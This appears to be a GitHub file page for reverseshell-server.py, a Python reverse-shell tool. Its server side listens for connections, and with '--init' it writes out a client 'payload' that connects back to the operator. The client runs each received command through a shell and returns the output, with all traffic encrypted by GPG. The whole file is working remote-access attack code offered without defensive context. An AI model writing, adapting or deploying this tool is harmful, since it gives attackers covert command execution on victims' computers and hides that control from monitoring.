-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathreverseshell-server.py
214 lines (169 loc) · 5.29 KB
/
reverseshell-server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
import socket
import sys
import os
import gnupg
from subprocess import Popen, PIPE, STDOUT
gpg = gnupg.GPG()
gpg.encoding = 'utf-8'
def send_cipher(sock, msg, recipient_key):
ciphertext = gpg.encrypt(msg, recipient_key, always_trust=True)
if not ciphertext.ok:
print("Encryption failed:", ciphertext.status)
return False
sock.send(ciphertext.data)
return True
def recv_cipher(sock):
ciphertext = sock.recv(BUFFER_SIZE)
plaintext = gpg.decrypt(ciphertext.decode())
if not plaintext.ok:
print("Decryption failed:", plaintext.status)
return None
return plaintext.data.decode()
if "--init" in sys.argv:
HOST = input("Enter host (ip or domain) : ")
PORT = input("Enter port number : ")
gen_input = """
Key-Type: eddsa
Key-Curve: ed25519
Subkey-Type: ecdh
Subkey-Curve: cv25519
Name-Real: Server
Name-Email: [email protected]
%no-protection
%commit"""
key = gpg.gen_key(gen_input) # GenKey
if not key:
print("Key generation failed")
sys.exit(1)
exported_public_key = gpg.export_keys(key.fingerprint)
client_script_txt = f'''import socket
from subprocess import Popen, PIPE, STDOUT
import sys
import os
import gnupg
gpg = gnupg.GPG()
gpg.encoding = "utf-8"
def send_cipher(sock, msg, recipient_key):
ciphertext = gpg.encrypt(msg, recipient_key, always_trust=True)
if not ciphertext.ok:
print("Encryption failed:", ciphertext.status)
return False
sock.send(ciphertext.data)
return True
def recv_cipher(sock):
ciphertext = sock.recv(BUFFER_SIZE)
plaintext = gpg.decrypt(ciphertext.decode())
if not plaintext.ok:
print("Decryption failed:", plaintext.status)
return None
return plaintext.data.decode()
HOST = "{HOST}"
PORT = {PORT}
BUFFER_SIZE = 4096
server_key_pem = """{exported_public_key}
"""
gen_input = """
Key-Type: eddsa
Key-Curve: ed25519
Subkey-Type: ecdh
Subkey-Curve: cv25519
Name-Real: Snake
Name-Email: [email protected]
%no-protection
%commit
"""
import_result = gpg.import_keys(server_key_pem)
server_key = import_result.fingerprints[0]
key = gpg.gen_key(gen_input) # GenKey
if not key:
print("Key generation failed")
sys.exit(1)
exported_public_key = gpg.export_keys(key.fingerprint)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Initiating Connection...")
try:
sock.connect((HOST, PORT))
except Exception as e:
print("Couldn't connect to server:", e)
sys.exit()
print("Connection established with success!")
sock.send(os.getcwd().encode())
res = sock.recv(BUFFER_SIZE).decode()
if res != "ok":
print("Connection refused by server, exiting...")
sys.exit()
sock.send(exported_public_key.encode())
while True:
command = recv_cipher(sock)
if command == "exit":
print("Exiting...")
sock.close()
break
if command.startswith("cd"):
try:
os.chdir(command[3:])
except Exception as e:
send_cipher(sock, str(e), server_key)
continue
send_cipher(sock, os.getcwd(), server_key)
continue
command_output = Popen(command, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
send_cipher(sock, command_output.stdout.read().decode(), server_key)'''
with open("reverseshell-client.py", "w") as f:
f.write(client_script_txt)
print("Payload created at: ./reverseshell-client.py")
sys.exit()
HOST = "0.0.0.0"
PORT = int(input("Enter port number: "))
BUFFER_SIZE = 4096
print("Loading private key...")
public_key = None
public_keys = gpg.list_keys()
for key in public_keys:
if "Server <[email protected]>" in key["uids"]:
public_key = key
break
if not public_key:
print("Error: Server keys have not been initiated. Please run the following command: reverseshell-server.py --init")
sys.exit(1)
public_key_pem = gpg.export_keys(public_key["keyid"])
print(f"--> Server started on {HOST}!")
print("--> Listening for client connection...")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(1)
print("Waiting for connection...")
while True:
client, client_ip = server.accept()
print(f"Connection from {client_ip}")
pwd = client.recv(BUFFER_SIZE).decode()
client.send(b"ok")
client_key = gpg.import_keys(client.recv(BUFFER_SIZE).decode())
if not client_key:
print("Failed to import client key")
client.close()
continue
client_key = client_key.fingerprints[0]
while True:
message_command = input(f'Pwd: {pwd} > ')
if message_command == "exit":
print("Closing...")
send_cipher(client, "exit", client_key)
client.close()
server.close()
sys.exit()
if message_command.startswith("cd"):
send_cipher(client, message_command, client_key)
res = recv_cipher(client)
if res.startswith("[Errno"):
print(res)
else:
pwd = res
continue
if not message_command:
print("Missing command!")
continue
send_cipher(client, message_command, client_key)
receive_message = recv_cipher(client)
if receive_message:
print(receive_message)